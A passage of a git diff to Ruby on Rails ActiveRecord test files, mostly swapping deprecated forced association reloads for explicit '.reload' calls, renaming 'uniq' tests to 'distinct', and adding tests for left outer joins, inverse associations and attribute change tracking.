PetTreasure.create!(pet: pet, treasure: non_looted_treasure, rainbow_color: "Ultra violet indigo") + + assert_equal [person], Owner.where(name: "Rainbow Unicat").includes(pets: :persons).first.persons.to_a + end + def test_explicitly_joining_join_table assert_equal owners(:blackbeard).toys, owners(:blackbeard).toys.with_pet end @@ -1117,10 +1125,10 @@ class HasManyThroughAssociationsTest < ActiveRecord::TestCase def test_has_many_through_with_default_scope_on_the_target person = people(:michael) - assert_equal [posts(:thinking)], person.first_posts + assert_equal [posts(:thinking).id], person.first_posts.map(&:id) readers(:michael_authorless).update(first_post_id: 1) - assert_equal [posts(:thinking)], person.reload.first_posts + assert_equal [posts(:thinking).id], person.reload.first_posts.map(&:id) end def test_has_many_through_with_includes_in_through_association_scope @@ -1166,4 +1174,45 @@ class HasManyThroughAssociationsTest < ActiveRecord::TestCase post_through = organization.posts.build assert_equal post_direct.author_id, post_through.author_id end + + def test_has_many_through_with_scope_that_should_not_be_fully_merged + Club.has_many :distinct_memberships, -> { distinct }, class_name: "Membership" + Club.has_many :special_favourites, through: :distinct_memberships, source: :member + + assert_nil Club.new.special_favourites.distinct_value + end + + def test_association_force_reload_with_only_true_is_deprecated + post = Post.find(1) + + assert_deprecated { post.people(true) } + end + + def test_has_many_through_do_not_cache_association_reader_if_the_though_method_has_default_scopes + member = Member.create! + club = Club.create! + TenantMembership.create!( + member: member, + club: club + ) + + TenantMembership.current_member = member + + tenant_clubs = member.tenant_clubs + assert_equal [club], tenant_clubs + + TenantMembership.current_member = nil + + other_member = Member.create! + other_club = Club.create! + TenantMembership.create!( + member: other_member, + club: other_club + ) + + tenant_clubs = other_member.tenant_clubs + assert_equal [other_club], tenant_clubs + ensure + TenantMembership.current_member = nil + end end diff --git a/activerecord/test/cases/associations/has_one_associations_test.rb b/activerecord/test/cases/associations/has_one_associations_test.rb index 5c2e5e7b43..c9d9e29f09 100644 --- a/activerecord/test/cases/associations/has_one_associations_test.rb +++ b/activerecord/test/cases/associations/has_one_associations_test.rb @@ -107,6 +107,14 @@ class HasOneAssociationsTest < ActiveRecord::TestCase assert_nil Account.find(old_account_id).firm_id end + def test_nullification_on_destroyed_association + developer = Developer.create!(name: "Someone") + ship = Ship.create!(name: "Planet Caravan", developer: developer) + ship.destroy + assert !ship.persisted? + assert !developer.persisted? + end + def test_natural_assignment_to_nil_after_destroy firm = companies(:rails_core) old_account_id = firm.account.id @@ -178,6 +186,25 @@ class HasOneAssociationsTest < ActiveRecord::TestCase assert firm.account.present? end + def test_restrict_with_error_is_deprecated_using_key_one + I18n.backend = I18n::Backend::Simple.new + I18n.backend.store_translations :en, activerecord: { errors: { messages: { restrict_dependent_destroy: { one: 'message for deprecated key' } } } } + + firm = RestrictedWithErrorFirm.create!(name: 'restrict') + firm.create_account(credit_limit: 10) + + assert_not_nil firm.account + + assert_deprecated { firm.destroy } + + assert !firm.errors.empty? + assert_equal 'message for deprecated key', firm.errors[:base].first + assert RestrictedWithErrorFirm.exists?(name: 'restrict') + assert firm.account.present? + ensure + I18n.backend.reload! + end + def test_restrict_with_error firm = RestrictedWithErrorFirm.create!(:name => 'restrict') firm.create_account(:credit_limit => 10) @@ -192,6 +219,24 @@ class HasOneAssociationsTest < ActiveRecord::TestCase assert firm.account.present? end + def test_restrict_with_error_with_locale + I18n.backend = I18n::Backend::Simple.new + I18n.backend.store_translations 'en', activerecord: {attributes: {restricted_with_error_firm: {account: 'firm account'}}} + firm = RestrictedWithErrorFirm.create!(name: 'restrict') + firm.create_account(credit_limit: 10) + + assert_not_nil firm.account + + firm.destroy + + assert !firm.errors.empty? + assert_equal "Cannot delete record because a dependent firm account exists", firm.errors[:base].first + assert RestrictedWithErrorFirm.exists?(name: 'restrict') + assert firm.account.present? + ensure + I18n.backend.reload! + end + def test_successful_build_association firm = Firm.new("name" => "GlobalMegaCorp") firm.save @@ -332,7 +377,8 @@ class HasOneAssociationsTest < ActiveRecord::TestCase assert a.persisted? assert_equal a, firm.account assert_equal a, firm.account - assert_equal a, firm.account(true) + firm.association(:account).reload + assert_equal a, firm.account end def test_save_still_works_after_accessing_nil_has_one @@ -607,4 +653,10 @@ class HasOneAssociationsTest < ActiveRecord::TestCase end end end + + def test_association_force_reload_with_only_true_is_deprecated + firm = Firm.find(1) + + assert_deprecated { firm.account(true) } + end end diff --git a/activerecord/test/cases/associations/has_one_through_associations_test.rb b/activerecord/test/cases/associations/has_one_through_associations_test.rb index f8772547a2..b2b46812b9 100644 --- a/activerecord/test/cases/associations/has_one_through_associations_test.rb +++ b/activerecord/test/cases/associations/has_one_through_associations_test.rb @@ -16,6 +16,10 @@ require 'models/owner' require 'models/post' require 'models/comment' require 'models/categorization' +require 'models/customer' +require 'models/carrier' +require 'models/shop_account' +require 'models/customer_carrier' class HasOneThroughAssociationsTest < ActiveRecord::TestCase fixtures :member_types, :members, :clubs, :memberships, :sponsors, :organizations, :minivans, @@ -245,12 +249,14 @@ class HasOneThroughAssociationsTest < ActiveRecord::TestCase assert_not_nil @member_detail.member_type @member_detail.destroy assert_queries(1) do - assert_not_nil @member_detail.member_type(true) + @member_detail.association(:member_type).reload + assert_not_nil @member_detail.member_type end @member_detail.member.destroy assert_queries(1) do - assert_nil @member_detail.member_type(true) + @member_detail.association(:member_type).reload + assert_nil @member_detail.member_type end end @@ -344,4 +350,34 @@ class HasOneThroughAssociationsTest < ActiveRecord::TestCase end end end + + def test_has_one_through_do_not_cache_association_reader_if_the_though_method_has_default_scopes + customer = Customer.create! + carrier = Carrier.create! + customer_carrier = CustomerCarrier.create!( + customer: customer, + carrier: carrier, + ) + account = ShopAccount.create!(customer_carrier: customer_carrier) + + CustomerCarrier.current_customer = customer + + account_carrier = account.carrier + assert_equal carrier, account_carrier + + CustomerCarrier.current_customer = nil + + other_carrier = Carrier.create! + other_customer = Customer.create! + other_customer_carrier = CustomerCarrier.create!( + customer: other_customer, + carrier: other_carrier, + ) + other_account = ShopAccount.create!(customer_carrier: other_customer_carrier) + + account_carrier = other_account.carrier + assert_equal other_carrier, account_carrier + ensure + CustomerCarrier.current_customer = nil + end end diff --git a/activerecord/test/cases/associations/inverse_associations_test.rb b/activerecord/test/cases/associations/inverse_associations_test.rb index 423b8238b1..c9743e80d3 100644 --- a/activerecord/test/cases/associations/inverse_associations_test.rb +++ b/activerecord/test/cases/associations/inverse_associations_test.rb @@ -13,6 +13,9 @@ require 'models/mixed_case_monkey' require 'models/admin' require 'models/admin/account' require 'models/admin/user' +require 'models/developer' +require 'models/company' +require 'models/project' class AutomaticInverseFindingTests < ActiveRecord::TestCase fixtures :ratings, :comments, :cars @@ -80,10 +83,10 @@ class AutomaticInverseFindingTests < ActiveRecord::TestCase assert_equal rating.comment, comment, "The Rating's comment should be the original Comment" - rating.comment.body = "Brogramming is the act of programming, like a bro." + rating.comment.body = "Fennec foxes are the smallest of the foxes." assert_equal rating.comment.body, comment.body, "Changing the Comment's body on the association should change the original Comment's body" - comment.body = "Broseiden is the king of the sea of bros." + comment.body = "Kittens are adorable." assert_equal comment.body, rating.comment.body, "Changing the original Comment's body should change the Comment's body on the association" end @@ -94,10 +97,10 @@ class AutomaticInverseFindingTests < ActiveRecord::TestCase assert_equal rating.comment, comment, "The Rating's comment should be the original Comment" - rating.comment.body = "Brogramming is the act of programming, like a bro." + rating.comment.body = "Fennec foxes are the smallest of the foxes." assert_equal rating.comment.body, comment.body, "Changing the Comment's body on the association should change the original Comment's body" - comment.body = "Broseiden is the king of the sea of bros." + comment.body = "Kittens are adorable." assert_equal comment.body, rating.comment.body, "Changing the original Comment's body should change the Comment's body on the association" end @@ -127,15 +130,15 @@ end class InverseAssociationTests < ActiveRecord::TestCase def test_should_allow_for_inverse_of_options_in_associations - assert_nothing_raised(ArgumentError, 'ActiveRecord should allow the inverse_of options on has_many') do + assert_nothing_raised do Class.new(ActiveRecord::Base).has_many(:wheels, :inverse_of => :car) end - assert_nothing_raised(ArgumentError, 'ActiveRecord should allow the inverse_of options on has_one') do + assert_nothing_raised do Class.new(ActiveRecord::Base).has_one(:engine, :inverse_of => :car) end - assert_nothing_raised(ArgumentError, 'ActiveRecord should allow the inverse_of options on belongs_to') do + assert_nothing_raised do Class.new(ActiveRecord::Base).belongs_to(:car, :inverse_of => :driver) end end @@ -198,6 +201,16 @@ class InverseAssociationTests < ActiveRecord::TestCase belongs_to_ref = Sponsor.reflect_on_association(:sponsor_club) assert_nil belongs_to_ref.inverse_of end + + def test_this_inverse_stuff + firm = Firm.create!(name: 'Adequate Holdings') + Project.create!(name: 'Project 1', firm: firm) + Developer.create!(name: 'Gorbypuff', firm: firm) + + new_project = Project.last + assert Project.reflect_on_association(:lead_developer).inverse_of.present?, "Expected inverse of to be present" + assert new_project.lead_developer.present?, "Expected lead developer to be present on the project" + end end class InverseHasOneTests < ActiveRecord::TestCase @@ -653,7 +666,7 @@ class InversePolymorphicBelongsToTests < ActiveRecord::TestCase def test_trying_to_access_inverses_that_dont_exist_shouldnt_raise_an_error # Ideally this would, if only for symmetry's sake with other association types - assert_nothing_raised(ActiveRecord::InverseOfAssociationNotFoundError) { Face.first.horrible_polymorphic_man } + assert_nothing_raised { Face.first.horrible_polymorphic_man } end def test_trying_to_set_polymorphic_inverses_that_dont_exist_at_all_should_raise_an_error @@ -663,7 +676,7 @@ class InversePolymorphicBelongsToTests < ActiveRecord::TestCase def test_trying_to_set_polymorphic_inverses_that_dont_exist_on_the_instance_being_set_should_raise_an_error # passes because Man does have the correct inverse_of - assert_nothing_raised(ActiveRecord::InverseOfAssociationNotFoundError) { Face.first.polymorphic_man = Man.first } + assert_nothing_raised { Face.first.polymorphic_man = Man.first } # fails because Interest does have the correct inverse_of assert_raise(ActiveRecord::InverseOfAssociationNotFoundError) { Face.first.polymorphic_man = Interest.first } end @@ -675,7 +688,7 @@ class InverseMultipleHasManyInversesForSameModel < ActiveRecord::TestCase fixtures :men, :interests, :zines def test_that_we_can_load_associations_that_have_the_same_reciprocal_name_from_different_models - assert_nothing_raised(ActiveRecord::AssociationTypeMismatch) do + assert_nothing_raised do i = Interest.first i.zine i.man @@ -683,7 +696,7 @@ class InverseMultipleHasManyInversesForSameModel < ActiveRecord::TestCase end def test_that_we_can_create_associations_that_have_the_same_reciprocal_name_from_different_models - assert_nothing_raised(ActiveRecord::AssociationTypeMismatch) do + assert_nothing_raised do i = Interest.first i.build_zine(:title => 'Get Some in Winter! 2008') i.build_man(:name => 'Gordon') diff --git a/activerecord/test/cases/associations/join_model_test.rb b/activerecord/test/cases/associations/join_model_test.rb index 213be50e67..c7bd9d2119 100644 --- a/activerecord/test/cases/associations/join_model_test.rb +++ b/activerecord/test/cases/associations/join_model_test.rb @@ -35,12 +35,12 @@ class AssociationsJoinModelTest < ActiveRecord::TestCase assert categories(:sti_test).authors.include?(authors(:mary)) end - def test_has_many_uniq_through_join_model + def test_has_many_distinct_through_join_model assert_equal 2, authors(:mary).categorized_posts.size assert_equal 1, authors(:mary).unique_categorized_posts.size end - def test_has_many_uniq_through_count + def test_has_many_distinct_through_count author = authors(:mary) assert !authors(:mary).unique_categorized_posts.loaded? assert_queries(1) { assert_equal 1, author.unique_categorized_posts.count } @@ -49,7 +49,7 @@ class AssociationsJoinModelTest < ActiveRecord::TestCase assert !authors(:mary).unique_categorized_posts.loaded? end - def test_has_many_uniq_through_find + def test_has_many_distinct_through_find assert_equal 1, authors(:mary).unique_categorized_posts.to_a.size end @@ -88,7 +88,7 @@ class AssociationsJoinModelTest < ActiveRecord::TestCase def test_polymorphic_has_many_going_through_join_model_with_custom_select_and_joins assert_equal tags(:general), tag = posts(:welcome).tags.add_joins_and_select.first - assert_nothing_raised(NoMethodError) { tag.author_id } + assert_nothing_raised { tag.author_id } end def test_polymorphic_has_many_going_through_join_model_with_custom_foreign_key @@ -213,7 +213,8 @@ class AssociationsJoinModelTest < ActiveRecord::TestCase old_count = Tagging.count post.destroy assert_equal old_count-1, Tagging.count - assert_nil posts(:welcome).tagging(true) + posts(:welcome).association(:tagging).reload + assert_nil posts(:welcome).tagging end def test_delete_polymorphic_has_one_with_nullify @@ -224,7 +225,8 @@ class AssociationsJoinModelTest < ActiveRecord::TestCase old_count = Tagging.count post.destroy assert_equal old_count, Tagging.count - assert_nil posts(:welcome).tagging(true) + posts(:welcome).association(:tagging).reload + assert_nil posts(:welcome).tagging end def test_has_many_with_piggyback @@ -361,6 +363,13 @@ class AssociationsJoinModelTest < ActiveRecord::TestCase assert_equal posts(:welcome, :thinking).sort_by(&:id), tags(:general).tagged_posts.sort_by(&:id) end + def test_has_many_polymorphic_associations_merges_through_scope + Tag.has_many :null_taggings, -> { none }, class_name: :Tagging + Tag.has_many :null_tagged_posts, :through => :null_taggings, :source => 'taggable', :source_type => 'Post' + assert_equal [], tags(:general).null_tagged_posts + refute_equal [], tags(:general).tagged_posts + end + def test_eager_has_many_polymorphic_with_source_type tag_with_include = Tag.all.merge!(:includes => :tagged_posts).find(tags(:general).id) desired = posts(:welcome, :thinking) @@ -461,7 +470,7 @@ class AssociationsJoinModelTest < ActiveRecord::TestCase assert saved_post.tags.include?(new_tag) assert new_tag.persisted? - assert saved_post.reload.tags(true).include?(new_tag) + assert saved_post.reload.tags.reload.include?(new_tag) new_post = Post.new(:title => "Association replacement works!", :body => "You best believe it.") @@ -474,7 +483,7 @@ class AssociationsJoinModelTest < ActiveRecord::TestCase new_post.save! assert new_post.persisted? - assert new_post.reload.tags(true).include?(saved_tag) + assert new_post.reload.tags.reload.include?(saved_tag) assert !posts(:thinking).tags.build.persisted? assert !posts(:thinking).tags.new.persisted? @@ -490,7 +499,7 @@ class AssociationsJoinModelTest < ActiveRecord::TestCase assert_nil( wrong = post_thinking.taggings.detect { |t| t.class != Tagging }, message = "Expected a Tagging in taggings collection, got #{wrong.class}.") assert_equal(count + 1, post_thinking.reload.tags.size) - assert_equal(count + 1, post_thinking.tags(true).size) + assert_equal(count + 1, post_thinking.tags.reload.size) assert_kind_of Tag, post_thinking.tags.create!(:name => 'foo') assert_nil( wrong = post_thinking.tags.detect { |t| t.class != Tag }, @@ -498,7 +507,7 @@ class AssociationsJoinModelTest < ActiveRecord::TestCase assert_nil( wrong = post_thinking.taggings.detect { |t| t.class != Tagging }, message = "Expected a Tagging in taggings collection, got #{wrong.class}.") assert_equal(count + 2, post_thinking.reload.tags.size) - assert_equal(count + 2, post_thinking.tags(true).size) + assert_equal(count + 2, post_thinking.tags.reload.size) assert_nothing_raised { post_thinking.tags.concat(Tag.create!(:name => 'abc'), Tag.create!(:name => 'def')) } assert_nil( wrong = post_thinking.tags.detect { |t| t.class != Tag }, @@ -506,7 +515,7 @@ class AssociationsJoinModelTest < ActiveRecord::TestCase assert_nil( wrong = post_thinking.taggings.detect { |t| t.class != Tagging }, message = "Expected a Tagging in taggings collection, got #{wrong.class}.") assert_equal(count + 4, post_thinking.reload.tags.size) - assert_equal(count + 4, post_thinking.tags(true).size) + assert_equal(count + 4, post_thinking.tags.reload.size) # Raises if the wrong reflection name is used to set the Edge belongs_to assert_nothing_raised { vertices(:vertex_1).sinks << vertices(:vertex_5) } @@ -544,11 +553,11 @@ class AssociationsJoinModelTest < ActiveRecord::TestCase book = Book.create!(:name => 'Getting Real') book_awdr = books(:awdr) book_awdr.references << book - assert_equal(count + 1, book_awdr.references(true).size) + assert_equal(count + 1, book_awdr.references.reload.size) assert_nothing_raised { book_awdr.references.delete(book) } assert_equal(count, book_awdr.references.size) - assert_equal(count, book_awdr.references(true).size) + assert_equal(count, book_awdr.references.reload.size) assert_equal(references_before.sort, book_awdr.references.sort) end @@ -558,14 +567,14 @@ class AssociationsJoinModelTest < ActiveRecord::TestCase tag = Tag.create!(:name => 'doomed') post_thinking = posts(:thinking) post_thinking.tags << tag - assert_equal(count + 1, post_thinking.taggings(true).size) - assert_equal(count + 1, post_thinking.reload.tags(true).size) + assert_equal(count + 1, post_thinking.taggings.reload.size) + assert_equal(count + 1, post_thinking.reload.tags.reload.size) assert_not_equal(tags_before, post_thinking.tags.sort) assert_nothing_raised { post_thinking.tags.delete(tag) } assert_equal(count, post_thinking.tags.size) - assert_equal(count, post_thinking.tags(true).size) - assert_equal(count, post_thinking.taggings(true).size) + assert_equal(count, post_thinking.tags.reload.size) + assert_equal(count, post_thinking.taggings.reload.size) assert_equal(tags_before, post_thinking.tags.sort) end @@ -577,11 +586,11 @@ class AssociationsJoinModelTest < ActiveRecord::TestCase quaked = Tag.create!(:name => 'quaked') post_thinking = posts(:thinking) post_thinking.tags << doomed << doomed2 - assert_equal(count + 2, post_thinking.reload.tags(true).size) + assert_equal(count + 2, post_thinking.reload.tags.reload.size) assert_nothing_raised { post_thinking.tags.delete(doomed, doomed2, quaked) } assert_equal(count, post_thinking.tags.size) - assert_equal(count, post_thinking.tags(true).size) + assert_equal(count, post_thinking.tags.reload.size) assert_equal(tags_before, post_thinking.tags.sort) end @@ -625,7 +634,7 @@ class AssociationsJoinModelTest < ActiveRecord::TestCase assert_equal [comments(:does_it_hurt)], authors(:david).special_post_comments end - def test_uniq_has_many_through_should_retain_order + def test_distinct_has_many_through_should_retain_order comment_ids = authors(:david).comments.map(&:id) assert_equal comment_ids.sort, authors(:david).ordered_uniq_comments.map(&:id) assert_equal comment_ids.sort.reverse, authors(:david).ordered_uniq_comments_desc.map(&:id) @@ -738,6 +747,23 @@ class AssociationsJoinModelTest < ActiveRecord::TestCase assert_equal aircraft.engines, [engine] end + def test_proper_error_message_for_eager_load_and_includes_association_errors + includes_error = assert_raises(ActiveRecord::ConfigurationError) { + Post.includes(:nonexistent_relation).where(nonexistent_relation: {name: 'Rochester'}).find(1) + } + assert_equal("Can't join 'Post' to association named 'nonexistent_relation'; perhaps you misspelled it?", includes_error.message) + + eager_load_error = assert_raises(ActiveRecord::ConfigurationError) { + Post.eager_load(:nonexistent_relation).where(nonexistent_relation: {name: 'Rochester'}).find(1) + } + assert_equal("Can't join 'Post' to association named 'nonexistent_relation'; perhaps you misspelled it?", eager_load_error.message) + + includes_and_eager_load_error = assert_raises(ActiveRecord::ConfigurationError) { + Post.eager_load(:nonexistent_relation).includes(:nonexistent_relation).where(nonexistent_relation: {name: 'Rochester'}).find(1) + } + assert_equal("Can't join 'Post' to association named 'nonexistent_relation'; perhaps you misspelled it?", includes_and_eager_load_error.message) + end + private # create dynamic Post models to allow different dependency options def find_post_with_dependency(post_id, association, association_name, dependency) diff --git a/activerecord/test/cases/associations/left_outer_join_association_test.rb b/activerecord/test/cases/associations/left_outer_join_association_test.rb new file mode 100644 index 0000000000..4af791b758 --- /dev/null +++ b/activerecord/test/cases/associations/left_outer_join_association_test.rb @@ -0,0 +1,79 @@ +require "cases/helper" +require 'models/post' +require 'models/comment' +require 'models/author' +require 'models/essay' +require 'models/categorization' +require 'models/person' + +class LeftOuterJoinAssociationTest < ActiveRecord::TestCase + fixtures :authors, :essays, :posts, :comments, :categorizations, :people + + def test_construct_finder_sql_applies_aliases_tables_on_association_conditions + result = Author.left_outer_joins(:thinking_posts, :welcome_posts).to_a + assert_equal authors(:david), result.first + end + + def test_construct_finder_sql_does_not_table_name_collide_on_duplicate_associations + assert_nothing_raised do + queries = capture_sql do + Person.left_outer_joins(:agents => {:agents => :agents}) + .left_outer_joins(:agents => {:agents => {:primary_contact => :agents}}).to_a + end + assert queries.any? { |sql| /agents_people_4/i =~ sql } + end + end + + def test_construct_finder_sql_executes_a_left_outer_join + assert_not_equal Author.count, Author.joins(:posts).count + assert_equal Author.count, Author.left_outer_joins(:posts).count + end + + def test_left_outer_join_by_left_joins + assert_not_equal Author.count, Author.joins(:posts).count + assert_equal Author.count, Author.left_joins(:posts).count + end + + def test_construct_finder_sql_ignores_empty_left_outer_joins_hash + queries = capture_sql { Author.left_outer_joins({}) } + assert queries.none? { |sql| /LEFT OUTER JOIN/i =~ sql } + end + + def test_construct_finder_sql_ignores_empty_left_outer_joins_array + queries = capture_sql { Author.left_outer_joins([]) } + assert queries.none? { |sql| /LEFT OUTER JOIN/i =~ sql } + end + + def test_left_outer_joins_forbids_to_use_string_as_argument + assert_raise(ArgumentError){ Author.left_outer_joins('LEFT OUTER JOIN "posts" ON "posts"."user_id" = "users"."id"').to_a } + end + + def test_join_conditions_added_to_join_clause + queries = capture_sql { Author.left_outer_joins(:essays).to_a } + assert queries.any? { |sql| /writer_type.*?=.*?(Author|\?|\$1)/i =~ sql } + assert queries.none? { |sql| /WHERE/i =~ sql } + end + + def test_find_with_sti_join + scope = Post.left_outer_joins(:special_comments).where(:id => posts(:sti_comments).id) + + # The join should match SpecialComment and its subclasses only + assert scope.where("comments.type" => "Comment").empty? + assert !scope.where("comments.type" => "SpecialComment").empty? + assert !scope.where("comments.type" => "SubSpecialComment").empty? + end + + def test_does_not_override_select + authors = Author.select("authors.name, #{%{(authors.author_address_id || ' ' || authors.author_address_extra_id) as addr_id}}").left_outer_joins(:posts) + assert authors.any? + assert authors.first.respond_to?(:addr_id) + end + + test "the default scope of the target is applied when joining associations" do + author = Author.create! name: "Jon" + author.categorizations.create! + author.categorizations.create! special: true + + assert_equal [author], Author.where(id: author).left_outer_joins(:special_categorizations) + end +end diff --git a/activerecord/test/cases/associations/nested_through_associations_test.rb b/activerecord/test/cases/associations/nested_through_associations_test.rb index 31b68c940e..b040485d99 100644 --- a/activerecord/test/cases/associations/nested_through_associations_test.rb +++ b/activerecord/test/cases/associations/nested_through_associations_test.rb @@ -495,7 +495,7 @@ class NestedThroughAssociationsTest < ActiveRecord::TestCase groucho = members(:groucho) founding = member_types(:founding) - assert_raises(ActiveRecord::HasManyThroughNestedAssociationsAreReadonly) do + assert_raises(ActiveRecord::HasOneThroughNestedAssociationsAreReadonly) do groucho.nested_member_type = founding end end diff --git a/activerecord/test/cases/associations_test.rb b/activerecord/test/cases/associations_test.rb index 3d202a5527..01a058918a 100644 --- a/activerecord/test/cases/associations_test.rb +++ b/activerecord/test/cases/associations_test.rb @@ -1,7 +1,6 @@ require "cases/helper" require 'models/computer' require 'models/developer' -require 'models/computer' require 'models/project' require 'models/company' require 'models/categorization' @@ -13,7 +12,6 @@ require 'models/tag' require 'models/tagging' require 'models/person' require 'models/reader' -require 'models/parrot' require 'models/ship_part' require 'models/ship' require 'models/liquid' @@ -93,8 +91,10 @@ class AssociationsTest < ActiveRecord::TestCase assert firm.clients.empty?, "New firm should have cached no client objects" assert_equal 0, firm.clients.size, "New firm should have cached 0 clients count" - assert !firm.clients(true).empty?, "New firm should have reloaded client objects" - assert_equal 1, firm.clients(true).size, "New firm should have reloaded clients count" + ActiveSupport::Deprecation.silence do + assert !firm.clients(true).empty?, "New firm should have reloaded client objects" + assert_equal 1, firm.clients(true).size, "New firm should have reloaded clients count" + end end def test_using_limitable_reflections_helper @@ -110,10 +110,13 @@ class AssociationsTest < ActiveRecord::TestCase def test_force_reload_is_uncached firm = Firm.create!("name" => "A New Firm, Inc") Client.create!("name" => "TheClient.com", :firm => firm) - ActiveRecord::Base.cache do - firm.clients.each {} - assert_queries(0) { assert_not_nil firm.clients.each {} } - assert_queries(1) { assert_not_nil firm.clients(true).each {} } + + ActiveSupport::Deprecation.silence do + ActiveRecord::Base.cache do + firm.clients.each {} + assert_queries(0) { assert_not_nil firm.clients.each {} } + assert_queries(1) { assert_not_nil firm.clients(true).each {} } + end end end diff --git a/activerecord/test/cases/attribute_methods_test.rb b/activerecord/test/cases/attribute_methods_test.rb index ea2b94cbf4..1db52af59b 100644 --- a/activerecord/test/cases/attribute_methods_test.rb +++ b/activerecord/test/cases/attribute_methods_test.rb @@ -1,7 +1,6 @@ require "cases/helper" require 'models/minimalistic' require 'models/developer' -require 'models/computer' require 'models/auto_id' require 'models/boolean' require 'models/computer' @@ -67,8 +66,9 @@ class AttributeMethodsTest < ActiveRecord::TestCase def test_caching_nil_primary_key klass = Class.new(Minimalistic) - klass.expects(:reset_primary_key).returns(nil).once - 2.times { klass.primary_key } + assert_called(klass, :reset_primary_key, returns: nil) do + 2.times { klass.primary_key } + end end def test_attribute_keys_on_new_instance @@ -175,9 +175,9 @@ class AttributeMethodsTest < ActiveRecord::TestCase assert_equal category_attrs , category.attributes_before_type_cast end - if current_adapter?(:MysqlAdapter) + if current_adapter?(:Mysql2Adapter) def test_read_attributes_before_type_cast_on_boolean - bool = Boolean.create({ "value" => false }) + bool = Boolean.create!({ "value" => false }) if RUBY_PLATFORM =~ /java/ # JRuby will return the value before typecast as string assert_equal "0", bool.reload.attributes_before_type_cast["value"] @@ -542,9 +542,6 @@ class AttributeMethodsTest < ActiveRecord::TestCase developer.save! - assert_equal "50000", developer.salary_before_type_cast - assert_equal 1337, developer.name_before_type_cast - assert_equal 50000, developer.salary assert_equal "1337", developer.name end @@ -717,6 +714,13 @@ class AttributeMethodsTest < ActiveRecord::TestCase end end + def test_time_zone_aware_attributes_dont_recurse_infinitely_on_invalid_values + in_time_zone "Pacific Time (US & Canada)" do + record = @target.new(bonus_time: []) + assert_equal nil, record.bonus_time + end + end + def test_setting_time_zone_conversion_for_attributes_should_write_value_on_class_variable Topic.skip_time_zone_conversion_for_attributes = [:field_a] Minimalistic.skip_time_zone_conversion_for_attributes = [:field_b] @@ -794,7 +798,7 @@ class AttributeMethodsTest < ActiveRecord::TestCase assert_nil computer.system end - def test_global_methods_are_overwritte_when_subclassing + def test_global_methods_are_overwritten_when_subclassing klass = Class.new(ActiveRecord::Base) { self.abstract_class = true } subklass = Class.new(klass) do diff --git a/activerecord/test/cases/attribute_set_test.rb b/activerecord/test/cases/attribute_set_test.rb index 9d927481ec..7a24b85a36 100644 --- a/activerecord/test/cases/attribute_set_test.rb +++ b/activerecord/test/cases/attribute_set_test.rb @@ -29,7 +29,7 @@ module ActiveRecord assert_equal :bar, attributes[:bar].name end - test "duping creates a new hash and dups each attribute" do + test "duping creates a new hash, but does not dup the attributes" do builder = AttributeSet::Builder.new(foo: Type::Integer.new, bar: Type::String.new) attributes = builder.build_from_database(foo: 1, bar: 'foo') @@ -43,6 +43,24 @@ module ActiveRecord assert_equal 1, attributes[:foo].value assert_equal 2, duped[:foo].value + assert_equal 'foobar', attributes[:bar].value + assert_equal 'foobar', duped[:bar].value + end + + test "deep_duping creates a new hash and dups each attribute" do + builder = AttributeSet::Builder.new(foo: Type::Integer.new, bar: Type::String.new) + attributes = builder.build_from_database(foo: 1, bar: 'foo') + + # Ensure the type cast value is cached + attributes[:foo].value + attributes[:bar].value + + duped = attributes.deep_dup + duped.write_from_database(:foo, 2) + duped[:bar].value << 'bar' + + assert_equal 1, attributes[:foo].value + assert_equal 2, duped[:foo].value assert_equal 'foo', attributes[:bar].value assert_equal 'foobar', duped[:bar].value end @@ -160,6 +178,9 @@ module ActiveRecord return if value.nil? value + " from database" end + + def assert_valid_value(*) + end end test "write_from_database sets the attribute with database typecasting" do @@ -207,5 +228,26 @@ module ActiveRecord assert_equal [:foo], attributes.accessed end + + test "#map returns a new attribute set with the changes applied" do + builder = AttributeSet::Builder.new(foo: Type::Integer.new, bar: Type::Integer.new) + attributes = builder.build_from_database(foo: "1", bar: "2") + new_attributes = attributes.map do |attr| + attr.with_cast_value(attr.value + 1) + end + + assert_equal 2, new_attributes.fetch_value(:foo) + assert_equal 3, new_attributes.fetch_value(:bar) + end + + test "comparison for equality is correctly implemented" do + builder = AttributeSet::Builder.new(foo: Type::Integer.new, bar: Type::Integer.new) + attributes = builder.build_from_database(foo: "1", bar: "2") + attributes2 = builder.build_from_database(foo: "1", bar: "2") + attributes3 = builder.build_from_database(foo: "2", bar: "2") + + assert_equal attributes, attributes2 + assert_not_equal attributes2, attributes3 + end end end diff --git a/activerecord/test/cases/attribute_test.rb b/activerecord/test/cases/attribute_test.rb index aa419c7a67..a24a4fc6a4 100644 --- a/activerecord/test/cases/attribute_test.rb +++ b/activerecord/test/cases/attribute_test.rb @@ -1,11 +1,9 @@ require 'cases/helper' -require 'minitest/mock' module ActiveRecord class AttributeTest < ActiveRecord::TestCase setup do @type = Minitest::Mock.new - @type.expect(:==, false, [false]) end teardown do @@ -109,6 +107,9 @@ module ActiveRecord def deserialize(value) value + " from database" end + + def assert_valid_value(*) + end end test "with_value_from_user returns a new attribute with the value from the user" do @@ -181,12 +182,65 @@ module ActiveRecord assert attribute.has_been_read? end + test "an attribute is not changed if it hasn't been assigned or mutated" do + attribute = Attribute.from_database(:foo, 1, Type::Value.new) + + refute attribute.changed? + end + + test "an attribute is changed if it's been assigned a new value" do + attribute = Attribute.from_database(:foo, 1, Type::Value.new) + changed = attribute.with_value_from_user(2) + + assert changed.changed? + end + + test "an attribute is not changed if it's assigned the same value" do + attribute = Attribute.from_database(:foo, 1, Type::Value.new) + unchanged = attribute.with_value_from_user(1) + + refute unchanged.changed? + end + test "an attribute can not be mutated if it has not been read, and skips expensive calculations" do type_which_raises_from_all_methods = Object.new attribute = Attribute.from_database(:foo, "bar", type_which_raises_from_all_methods) - assert_not attribute.changed_in_place_from?("bar") + assert_not attribute.changed_in_place? + end + + test "an attribute is changed if it has been mutated" do + attribute = Attribute.from_database(:foo, "bar", Type::String.new) + attribute.value << "!" + + assert attribute.changed_in_place? + assert attribute.changed? + end + + test "an attribute can forget its changes" do + attribute = Attribute.from_database(:foo, "bar", Type::String.new) + changed = attribute.with_value_from_user("foo") + forgotten = changed.forgetting_assignment + + assert changed.changed? # sanity check + refute forgotten.changed? + end + + test "with_value_from_user validates the value" do + type = Type::Value.new + type.define_singleton_method(:assert_valid_value) do |value| + if value == 1 + raise ArgumentError + end + end + + attribute = Attribute.from_database(:foo, 1, type) + assert_equal 1, attribute.value + assert_equal 2, attribute.with_value_from_user(2).value + assert_raises ArgumentError do + attribute.with_value_from_user(1) + end end end end diff --git a/activerecord/test/cases/attributes_test.rb 